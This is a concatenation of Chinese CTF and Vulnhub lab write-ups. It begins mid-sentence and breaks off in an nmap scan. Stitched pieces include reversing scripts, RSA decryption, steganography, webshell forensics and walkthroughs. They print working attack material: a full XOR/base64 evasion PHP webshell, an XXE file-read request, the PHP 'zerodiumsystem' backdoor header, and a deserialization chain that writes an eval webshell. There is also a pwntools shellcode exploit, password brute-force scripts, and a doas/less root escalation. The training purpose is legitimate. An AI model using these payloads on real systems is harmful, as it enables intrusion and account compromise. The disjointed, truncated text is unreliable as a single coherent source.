UPX!” return0:/然后返回0，表示程序正常结束 } } sub_140001020(“Sry,try again plz…”);//如果for循环结束，说明v3没有达到37，就调用sub_140001020函数，输出抱款的话”Sry,try again plz…” return0://然后返回0，表示程序正常结束 根据分析结果我们需要找到byte_140022A0的字节 我们把140022A0的字节复制过来 db后面的都是1400022A0字节 把蓝色db后面的字节都复制下来 从64h到32h 之后写脚本 byte_1400022A0 = [0x64, 0x7B, 0x76, 0x73, 0x60, 0x49, 0x65, 0x5D, 0x45, 0x13, 0x6B, 0x2, 0x47, 0x6D, 0x59, 0x5C, 0x2, 0x45, 0x6D, 0x6, 0x6D, 0x5E, 0x3, 0x46, 0x46, 0x5E, 0x1, 0x6D, 0x2, 0x54, 0x6D, 0x67, 0x62, 0x6A, 0x13, 0x4F, 0x32] def find_flag(): flag = "" for i in range(len(byte_1400022A0)): for j in range(256): if (j ^ 0x32) == byte_1400022A0[i]: flag += chr(j) break return flag print(find_flag()) ezASM 打开 可以看出每一部分都给了提示 将用户输入的字符串每个字符与 0x22 进行异或运算，然后与预设字符串进行比较。如果每个字符都匹配，则认为用户输入了正确的字符串。 脚本 c = [74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34] flag='' for i in c: flag+= chr(i^0x22) print("".join(flag)) ezPYC ezPYC的解题思路是把exe->pyc 让后在进行解答 下载后是个exe文件 我们直接拖进ida是看不了结果的 调用了四个函数 并且有的函数里继续调用了其他的函数根本无法解出 所以我们使用pyinstxtractor.pyhttps://github.com/extremecoders-re/pyinstxtractor/releases/tag/2023.12 把exe反编译成pyc后缀 反编译过后打开生成的文件夹 之后使用pycdc进行将Python pyc字节码转换回有效且我们可读的 Python 源代码 https://github.com/zrax/pycdc 运行之后就可以看见python代码 把他复制到python里 这个代码的意思是让我们输入flag让后把flag进行ord转换为ascii码 与c[i%4]进行异或需要等于flag才能结束循环 chr的意思是把ascii码转换为字符 那直接逆向 input += chr(flag[i] ^ c[i % 4])就可以解出来flag 直接手撸代码 flag = [ 87, 75, 71, 69, 83, 121, 83, 125, 117, 106, 108, 106, 94, 80, 48, 114, 100, 112, 112, 55, 94, 51, 112, 91, 48, 108, 119, 97, 115, 49, 112, 112, 48, 108, 100, 37, 124, 2] c = [ 1, 2, 3, 4] input = "" for i in range(0, 36): input =input + chr(flag[i] ^ c[i % 4]) print(input) 运行出来之后加上}包裹上即是flag ->PWN方向 只会签到题 EzSignIn 直接nc连即可 ->Crypto方向 密码和PWN都挨虐 ezRSA 经典RSA 引用 导入所需的模块和函数：from Crypto.Util.number import * 定义变量并将加密后的消息转换为长整数：m = bytes_to_long(flag) 生成两个随机素数：p = getPrime(1024)和 q = getPrime(1024) 计算公钥和私钥参数：n = p * q、phi = (p-1) * (q-1)和 e = 0x10001 使用公钥加密消息：c = pow(m, e, n) 使用私钥进行解密：首先，我们需要计算d，即私钥的指数。可以使用d = inverse(e, phi)来获取私钥的指数。 然后，使用私钥指数对密文进行解密：m_decrypted = pow(c, d, n) 最后，将解密后的长整数转换回原始消息的字节形式：flag_decrypted = long_to_bytes(m_decrypted) 打印解密结果：print(flag_decrypted) 脚本 from Crypto.Util.number import long_to_bytes, inverse # 密文和公钥参数 c = 10529481867532520034258056773864074017027019578041866245400647840230251661652999709715919620810933437191661180003295923273655675729588558899592524235622728816065501918076120812236580344991140980991532347991252705288633014913479970610056845543523591324177567061948922552275235486615514913932125436543991642607028689762693617305246716492783116813070355512606971626645594961850567586340389705821314842096465631886812281289843132258131809773797777049358789182212570606252509790830994263132020094153646296793522975632191912463919898988349282284972919932761952603379733234575351624039162440021940592552768579639977713099971 e = 0x10001 p = 149127170073611271968182576751290331559018441805725310426095412837589227670757540743929865853650399839102838431507200744724939659463200158012469676979987696419050900842798225665861812331113632892438742724202916416060266581590169063867688299288985734104127632232175657352697898383441323477450658179727728908669 q = 116122992714670915381309916967490436489020001172880644167179915467021794892927977272080596641785569119134259037522388335198043152206150259103485574558816424740204736215551933482583941959994625356581201054534529395781744338631021423703171146456663432955843598548122593308782245220792018716508538497402576709461 # 计算私钥指数和解密密文 n = p * q phi = (p - 1) * (q - 1) d = inverse(e, phi) m_decrypted = pow(c, d, n) # 将解密后的长整数转换为字节形式 flag_decrypted = long_to_bytes(m_decrypted) print(flag_decrypted) ->MISC方向 MISC还好 Sign in 用手机查看,把手机充电口对着自己,让后闭着眼用一个眼瞅,让后就能看到了,我是这样的 签到 关注公众号 来自星辰的问候 打开后查看是个萝莉 先拖进010发现什么也没有 提示六位弱密码 推测是带密码加密的图片隐写 使用到kali ->steghide setghide info secret.png 看一下有个secret.zip不过如猜测一样需要密码 生成一个6位字典 尝试shell脚本爆破 若没权限先给755权限 脚本： #bruteStegHide.sh #!/bin/bash for line in `cat $2`;do steghide extract -sf $1 -p $line > /dev/null 2>&1 if [[ $? -eq 0 ]];then echo 'password is: '$line exit fi done 当时因为是弱密码还没爆破完让我手测出来了 密码是123456 拿出来 steghide extract -sf secret.jpg -p 123456 打开secret.zip是一张图片和一个view的文件 根据提示 搜索引擎发力,最后查到游戏是来自星辰 介绍:来自星尘 – 萌娘百科 万物皆可萌的百科全书 (moegirl.org.cn) 官网:https://exa.hypergryph.com/#homepage 打开给的文件是一个根据ttf生成文字 我们去官网拔下来woff让后转ttf 让后进行对比 https://exa.hypergryph.com/#homepage 让后一个一个对字母,这里我找了十几分钟,当时凌晨四点,我当时找的人都麻了 最后发现是welcome simple_attack 打开看看 一个能打开 一个压缩包是加密的 一眼明文攻击 明文攻击之前我发过文章 2023年春秋杯网络安全联赛冬季赛部分题赛题复现 1年前04367 明文攻击过后打开txt 打thm的时候见过base64 to file而且根据前面的data:image/png直接猜测是base64->图片 希儿希儿希尔 打开之后是个图片 进行长宽高修复,脚本: [CTFshow]图片长宽+ZIP伪加密解密脚本分享 1年前029315 修复完成后打开 拖进到winhex发现藏有文件 分离后是个txt 根据题目希尔希尔应该是希尔加密 搜索引擎搜索希尔加密需要什么 密文：即待解密的加密消息或文本。密钥：希尔解密使用一个整数作为密钥，该密钥用于确定字母的移位数，与加密时所用的密钥相同。字母表：希尔解密使用一个特定的字母表，通常是由26个大写字母组成的。解密算法：希尔解密使用一种特定的算法，该算法根据密钥和字母表进行字母的逆向移位和替换。 字母表和算法都给了 我们只需要密文和密钥 密钥一般是整数 上面的txt给的是密文 我们现在缺2×2矩阵的数数字 推测zsteg隐写藏有隐藏信息 zsteg unhex.png -v 得出2×2矩阵是87 38 转换成大写用hgame包裹即可

连接上靶机过后 直接查看日志 cd /var/log 发现是通过apache搭建的web服务 也可查看外联和端口开开放情况 netstat -pantu 这里也可以确定开启了apache服务 也确实为apache + php 接下来查看木马文件 一个一个文件看不现实 直接使用find命令去匹配shell字段中可能存在的敏感字段去查找webshell find ./ -name "*.php" |xargs grep "eval(" 查找到三个文件 下面来看第一个./include/gz.php 发现第一个隐藏的flag flag{027ccd04-5065-48b6-a32d-77c704a5e26d} 其实这个一眼可以看出来是哥斯拉 哥斯拉php马特征 session_start() 创建或者重启一个会话 @set_time_limit(0) 设置程序最长运行时间 永远 @error_reporting(0) 关闭错误报告 $key=xxxxxxxxx 加解密的盐值 哥斯拉php马的利用逻辑： 第一次通信时，服务端通过POST方式传递一个名叫pass的参数给木马，给pass参数赋的值是加密后的一组用”|”隔开的方法，也就是接下来要使用的攻击荷载。荷载在解密后被存入SESSION，供之后使用。 从第二次通信开始，pass传入的是远控命令，通过攻击荷载中的run()方法执行远控命令。然后对回显进行加密后传输给哥斯拉的服务端。 所以第二个flag就是Godzilla的github地址的md5值 https://github.com/BeichenDream/Godzilla Flag2: flag{39392DE3218C333F794BEFEF07AC9257} 接着来看找到的第二个shell ./include/Db/.Mysqli.php 当我们进入目标文件夹时，用ls显示文件看到的只是正常的数据库配置文件 该webshell通过以 ‘.’ 开头对shell命名，得到的文件就是隐藏文件，这时得使用 ls -a 典型的哥斯拉马子特征 所以第三个flag 为该shell的地址：/var/www/html/include/Db/.Mysqli.php Flag3: flag{AEBAC0E58CD6C5FAD1695EE4D1AC1919} 第三个所发现的shell就是来混淆我们的一句话木马 这时还差一个免杀马没有找到 php免杀马通常字符串异或加密、base家族加密、rot13加密 字符串拼接等方式实现 这里尝试最常见的base64编码，同样也是通过find去匹配关键字查询 find ./ -name "*.php" | xargs grep "base64_decode" <?php $key = "password"; //ERsDHgEUC1hI $fun = base64_decode($_GET['func']); for($i=0;$i<strlen($fun);$i++){ $fun[$i] = $fun[$i]^$key[$i+1&7]; } $a = "a"; $s = "s"; $c=$a.$s.$_GET["func2"]; $c($fun); 该免杀马首先使用base64对于接收到的func参数进行加密，以绕过黑名单检查，再使用key对加密的内容进行异或加密，然后通过$a.$s.$_GET[“func2”] 拼接的方式来动态调用，绕过静态检验。 所以第三个flag 为该shell的地址：/var/www/html/wap/top.php Flag4: flag{EEFF2EABFD9B7A6D26FC1A53D3F7D1DE} 总结 哥斯拉php马的特征： webshell配置，常见于文件头session_start(); @set_time_limit(0); @error_reporting(0); 默认的加解密盐值：3c6e0b8a9c15224a 有一个向SESSION中存储攻击荷载的过程，就是会有一个$_SESSION[$XXX]=P的过程

0x01 前言 FourAndSix2是易受攻击的一个靶机，主要任务是通过入侵进入到目标靶机系统然后提权，并在root目录中并读取flag.tx信息 FourAndSix2.镜像下载地址： https://download.vulnhub.com/fourandsix/FourAndSix2.ova 0x02 信息收集 1.存活主机扫描 arp-scan -l 发现192.168.1.9是目标靶机系统 2.端口探测 使用Nmap对靶机进行扫描 nmap -A 192.168.1.9 查询到开放的端口及服务：22-ssh、111-rpcbind、2049-nfs、612-mountd 0x03 漏洞利用 1.nfs漏洞利用 开放2049端口，nmap探测显示为nfs服务，使用metasploit进行扫描可挂载目录 msf > use auxiliary/scanner/nfs/nfsmount msf auxiliary(scanner/nfs/nfsmount) > show options Module options (auxiliary/scanner/nfs/nfsmount): NameCurrent Setting Required Description ------------------- -------- ----------- PROTOCOLudp yes The protocol to use (Accepted: udp, tcp) RHOSTS yes The target address range or CIDR identifier RPORT111 yes The target port (TCP) THREADS1 yes The number of concurrent threads msf auxiliary(scanner/nfs/nfsmount) > set rhosts192.168.1.9 rhosts => 192.168.1.9 msf auxiliary(scanner/nfs/nfsmount) > run [+] 192.168.1.9:111 - 192.168.1.9 NFS Export: /home/user/storage [] [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 也可以利用showmount -e查看目标系统可挂载目录 发现可挂载目录/home/user/storage 通过mount名挂载目录： mkdir /tmp/storage mount -t nfs 192.168.1.9:/home/user/storage/tmp/storage 注意：有时候在kali系统中mount命令不能使用可能是文件损坏了，需要重新更新安装 apt-get install nfs-common 发现backup.7z这个压缩包，使用7z e backup.7z尝试解压，提示需要密码 2.backup.7z爆破 查找资料发现可以用rarcrack对7z压缩包进行爆破,rarcrack破解命令为： apt-get install rarcrack rarcrack --threads 4 --type 7z backup.7z 也可以使用7z命令进行字典爆破 7z破解脚本： https://raw.githubusercontent.com/exexute/PythonScaffold/PythonScaffold_0.1/enum_violence/file_enum/7z-crack.sh 其命令内容为： cat $2 | while read line;do if 7z e $1 -p"$line" 1>/dev/null 2>/dev/null;then echo "FOUND PASSWORD:"$line;break;fi;done 使用方法： ./7z-crack.shbackup.7z /usr/share/wordlists/rockyou.txt 最终，7z破解脚本成功破解到压缩包密码：chocolate 解压backup.7z发现一堆图片，以及id_rsa和id_rsa.pub 通过破解出来的密码chocolate对.7z进行解压，解压后提取其内容，可发现一些图片和RSA密钥。由于端口22在目标计算机上运行SSH服务，我们可以使用RSA私钥登录。打开RSA公钥来查看用户名。 于是猜测可以通过公私钥登录服务器，将私钥放到/root/.ssh目录下，连接服务器 cp id_rsa /root/.ssh [email protected] 我们尝试登录ssh，但它要求密码。因此，我们创建了以下脚本来查找正确的私钥密码。 root@kali2018:/tmp/storage# cat /usr/share/wordlists/metasploit/adobe_top100_pass.txt |while read pass;do if ssh-keygen -c -C "user@forandsix" -P $pass -f id_rsa &>/dev/null;then echo $pass; break; fi; done 爆破得到密码为12345678 或者 root@kali2018:/tmp/storage# cat /usr/share/wordlists/rockyou.txt | while read line;do if ssh-keygen -p -P $line -N $line -f id_rsa 1>/dev/null 2>/dev/null;then echo "PASSWORD FOUND : "$line;break;fi;done; 通过破解成功的密码进行远程ssh登录 0x04 权限提升 进入shell后，发现当前系统是FreeBSD 6.4的，搜索之后发现内核没有可提权的漏洞，于是将重点放在配置、文件和服务上。 查看当前用户权限及系统信息 fourandsix2$ id uid=1000(user) gid=1000(user) groups=1000(user), 0(wheel) fourandsix2$ uname -a OpenBSD fourandsix2.localdomain 6.4 GENERIC#349 amd64 我们使用find命令来定位设置了SUID的文件或包。 find / -perm -u=s -type f 2>/dev/null 通过find命令我们找到了suid权限运行的程序/usr/bin/doas，它是sudo命令的替代。doas是BSD系列系统下的权限管理工具，类似于Debian系列下的sudo命令 在阅读“doas.conf”文件后，我们发现“less”可以以root身份运行。 查看/etc目录，有doas.conf fourandsix2$ cat /etc/doas.conf permit nopass keepenv user as root cmd /usr/bin/less args /var/log/authlog permit nopass keepenv root as root 让我们查看配置文件并尝试理解。Doas实用程序根据doas.conf配置文件中的规则以其他用户身份执行命令。 Permit/Deny：允许/拒绝规则 Nopass：用户无需输入任何密码 Persist：用户成功通过身份验证后，请勿再次请求密码验证 Keepenv：维持用户的环境 Cmd：允许命令运行 从doas.conf文件可以看到，当前用户能够以root权限使用less命令查看/var/log/authlog文件，并且不需要当前用户密码以及root密码。 用doas /usr/bin/less /var/log/authlog查看日志文件，然后直接按v，可进入编辑模式，但是会提示只读，进入编辑模式后，可以通过vi编辑器操作方式 doas /usr/bin/less /var/log/authlog 执行系统命令，即:!/bin/sh，此时便会提升到root权限 最后一步获取falg信息，它在root目录下。 通过ID查询当前用户权限为root,然后使用cat flag.txt查看flag信息。 ，

前言 记录今天看到群友问到一道题 看下题目 明文:flag{P7?Y0OG?0XPC?ZPK} 密文:9e86????007f??9a38???449a?0ea7cf 一眼看出来是MD5加密 MD5严格来说不能算加密 只能暴力爆破 脚本暴力破解缺失字符 关于MD5一些加解密等方法需要系统的去学习一下 如果猛地一出 让新手都不会 所以解决的办法最好是：先从网上找相似的题+题型+找代码+AI改代码 具体代码如下： import hashlib #flag{P7?Y0OG?0XPC?ZPK} s1 = "flag{P7" s2 = "Y0OG" s3 = "0XPC" s4 = "ZPK}" chars = ['0','1','2','3','4','5','6','7','8','9','0','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'] for i in chars: for j in chars: for k in chars: flag = s1 + i + s2 + j + s3 + k + s4 pre = hashlib.md5() # create an instance of md5 class pre.update(flag.encode()) # encode the flag as bytes and update the hash object md5 = str(pre.hexdigest()) # get the hexadecimal digest of the hash #9e86????007f??9a38???449a?0ea7cf if ('9e86' and '9a38' and '0ea7cf') in md5 : print( md5) print (flag) 结尾 希望包括我在内的记住这个题型

前言 ->Web方向 EasyMD5 burp抓包 随意上传提示pdf后缀 我这里直接把type都改成pdf类型 给了我们是否知道MD5 Collision MD5 Collision可以是文件内容不同但MD5的值相同 判断出我们需要上传两个MD5值相同的文件 此时md5的值相同 PHP的后门 PHP 8.x的dev NSSround18的原题 但比NSSround18简单的多,一步就出来 POC User-Agentt: zerodiumsystem("cat /flag"); PHP中的XXE 打开 这道题主要是通过引入外部DTD执行漏洞攻击 引入外部DTD执行代码 唯一的考点是找到入口 造成DTD的函数是simplexml_load_string用来接收xml所以我们需要访问该php路径来找到入口 POC GET /simplexml_load_string.php HTTP/1.1 Host: challenge.qsnctf.com:31417 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 170 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///flag" > ]> <root> <name>&xxe;</name> </root> Easy_SQLI 使用sqlmap判断出时间盲注 ,sqlmap执行os-shell拿flag(类似青少年的靶场的一个sql注入原题 雏形系统 进去页面是一个登录框，那御剑扫一下目录发下www.zip备份文件，下载下来，源码如下 根据题目描述，这应该是留下来的一个后门代码，只不过进行了加密，我们要先接出来，加密原理大概就是字符串的分割，然后动态调用的嵌套，我们只需按照他的加密原理一步一步的接，不过把eval改成echo输出出来源代码 网上搜索($O00OO0{6}.$O00OO0{33}.$O00OO0{30}.后门此处省略）的类似加密信息(可以搜索到解密过程 解密脚本如下: <?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");//n1zb/ma5vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j echo '第一步生成：',$O00OO0; echo '<br /><br />********************************************************<br /><br />'; $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0} .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36} .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; echo '第二步生成：',$O00O0O; echo '<br /><br />********************************************************<br /><br />'; //上面解出来 $O00O0O=base64_decode; //即然 $O00O0O=base64_decode那么把下面的代码改一下，eval是用来执行php代码，这里不需要执行，只需要解出php代码即可，那么去掉eavl 并把$O00O0O换成上面解出来的值 //eval ($O00O0O ("JE8wTzAwMD0iV0FLQ1JIbHdPdnh0cmRHVUxFbmFOSlBlamZGUXpaTUJjc29nSXVrYnBxWFR5bVZoU2lEWVpKUXlvaURPZEZXbl BZdFV2U2xmVEJleEt6a0dxVmhFSHdnTVhDdUFyUmFqTE5tcGJjSXNlSTlPZmlKVHlNdVR5TkROUXlvem8wbVVaTEJyVnlCWWVqMG N4Wm1xWGNEN0JpTTlYTmtxSExYQ1hObUxZeVg3WHlvNFF5b3pVUzlqbWt3Y3h0azRYRDByZDJtNGZhR2dRam45SUdnVHlLOCtYSj BRIjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT0 8wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw==")); //修改后变成 echo '第三步生成：'; echo (base64_decode("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw==")); echo '<br /><br />********************************************************<br /><br />'; //上页那步输出来代码为： /* $O0O000="WAKCRHlwOvxtrdGULEnaNJPejfFQzZMBcsogIukbpqXTymVhSiDYZJQyoiDOdFWnPYtUvSlfTBexKzkGqVhEHwgMXCuArRajLNmpbcIseI9OfiJTyMuTyNDNQyozo0mUZLBrVyBYej0cxZmqXcD7BiM9XNkqHLXCXNmLYyX7Xyo4QyozUS9jmkwcxtk4XD0rd2m4faGgQjn9IGgTyK8+XJ0Q"; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)))); */ //同样，不需要eval，改成echo $O0O000="WAKCRHlwOvxtrdGULEnaNJPejfFQzZMBcsogIukbpqXTymVhSiDYZJQyoiDOdFWnPYtUvSlfTBexKzkGqVhEHwgMXCuArRajLNmpbcIseI9OfiJTyMuTyNDNQyozo0mUZLBrVyBYej0cxZmqXcD7BiM9XNkqHLXCXNmLYyX7Xyo4QyozUS9jmkwcxtk4XD0rd2m4faGgQjn9IGgTyK8+XJ0Q"; echo '最终代码是：（这是我用htmlspecialchars函数把标签转换了）'.htmlspecialchars('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)))); ?> 最后解密后拿到的就是 <?php error_reporting(0); class shi { public $next; public $pass; public function __toString(){ $this->next::PLZ($this->pass); } } class wo { public $sex; public $age; public $intention; public function __destruct(){ echo "Hi Try serialize Me!"; $this->inspect(); } function inspect(){ if($this->sex=='boy'&&$this->age=='eighteen') { echo $this->intention; } echo "🙅18岁🈲"; } } class Demo { public $a; static function __callStatic($action, $do) { global $b; $b($do[0]); } } $b = $_POST['password']; $a = $_POST['username']; @unserialize($a); if (!isset($b)) { echo "==================PLZ Input Your Name!=================="; } if($a=='admin'&&$b=="'k1fuhu's test demo") { echo("登录成功"); } ?> 反序列化构造，利用点是Demo类里的$b($do[0];)动态函数调用 构造方法就是利用wo类的的 echo $this->intention触发shi类里的**__tostring ** 然后**_tostring ** 的静态类调用触发demo类中的**__callStatic exp $shi=new shi(); $wo=new wo(); $demo=new demo(); $shi->pass="echo '<?php eval(\$_POST[1]);?>' > 3.php "; $shi->next=$demo; $wo->age='eighteen';$wo->sex='boy';$wo->intention=$shi; echo serialize($wo); post传参username传序列化后的结果，password传system字符串 然后到3.php就可以rce拿到flag了 ->Misc方向 CTFer_Revenge 打开附件是个txt 这应该是一个文件的16进制格式，不过反了过来，利用在线网站反转回来 然后写python脚本把其中的16进制数据提取出来 # 打开输入文件和输出文件 input_file = '1.txt' output_file = '3.txt' # 打开输入文件进行读取 with open(input_file, 'r') as f: # 读取每一行并去除前8个字符，然后写入输出文件 with open(output_file, 'w') as out_f: for line in f: out_f.write(line[10:49].upper()+'\n') # 写入去除了前8个字符的行 print("处理完成，输出文件为:", output_file) 然后用010创建新建二进制文件，看其文件头应该是zip格式把后缀名改为zip打开 其中flag是加密的图片，然后第二个提示是小写字母加数字，爆破压缩包的到密码为z12345 flag:qsnctf{b414e3e3a6449ddba0997db259203eb7} 小光的答案之书 跳转后需要密码 对照随波逐流编码表 圣武士密码->密码life ->Pwn方向 简单的数学题 这题就是解除三个方程即可 前两个都很简单，第三个需要用到python 脚本如下: from sympy import symbols, Eq, solve # 定义符号变量 x x = symbols('x') # 定义方程 equation = Eq(x**10 + 2**10 - 4*x, 6131066258749) # 解方程 solution = solve(equation, x) # 打印结果 print("x 的解为:", solution) Easy_Shellcode 简单的shellcode，不过s的地址是变化的，但是题目给出了，使用pwntools接受即可 脚本如下： from pwn import * context(os="Linux",arch="amd64") #io = process("./easy-shellcode") io=remote("challenge.qsnctf.com",32436) buff=io.recv(14) #print(buff) payload =asm(shellcraft.sh()).ljust(256,b'a') + p64(0) + p64(int(buff,16)) io.sendline(payload) io.interactive() ->Crypto方向 解个方程 简单的密码加密常识 求逆元的方程为:d=libnum.invmod(e,phi) m=pow(c,d,n) 四重加密 base32解码后得到: 这个就是压缩文件的密码 unicode编码 维吉尼亚 rot13 flag内内容套到qsnctf提交

0x01 前言 Typhoon VM包含多个漏洞和配置错误。Typhoon可用于测试网络服务中的漏洞，配置错误，易受攻击的Web应用程序，密码破解攻击，权限提升攻击，后期利用步骤，信息收集和DNS攻击。 Typhoon-v1.02镜像下载地址： https://download.vulnhub.com/typhoon/Typhoon-v1.02.ova.torrent 0x02 信息收集 1.存活主机扫描 arp-scan -l 发现192.168.1.104就是目标靶机系统 2.端口探测 nmap-A 192.168.1.104 root@kali2018:~# nmap -A 192.168.1.104 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-30 09:17 EST Nmap scan report for 192.168.1.104 Host is up (0.0012s latency). Not shown: 983 closed ports PORT STATE SERVICE VERSION 21/tcp open ftpvsftpd 3.0.2 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | STAT: | FTP server status: | Connected to 192.168.1.21 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.2 - secure, fast, stable |_End of status 22/tcp open sshOpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 02:df:b3:1b:01:dc:5e:fd:f9:96:d7:5b:b7:d6:7b:f9 (DSA) | 2048 de:af:76:27:90:2a:8f:cf:0b:2f:22:f8:42:36:07:dd (RSA) | 256 70:ae:36:6c:42:7d:ed:1b:c0:40:fc:2d:00:8d:87:11 (ECDSA) |_ 256 bb:ce:f2:98:64:f7:8f:ae:f0:dd:3c:23:3b:a6:0f:61 (ED25519) 25/tcp open smtpPostfix smtpd |_smtp-commands: typhoon, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, | ssl-cert: Subject: commonName=typhoon | Not valid before: 2018-10-22T19:38:20 |_Not valid after:2028-10-19T19:38:20 |_ssl-date: TLS randomness does not represent time 53/tcp open domainISC BIND 9.9.5-3 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.9.5-3-Ubuntu 80/tcp open httpApache httpd 2.4.7 ((Ubuntu)) | http-robots.txt: 1 disallowed entry |_/mongoadmin/ |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: Typhoon Vulnerable VM by PRISMA CSI 110/tcp open pop3? |_ssl-date: TLS randomness does not represent time 111/tcp open rpcbind2-4 (RPC 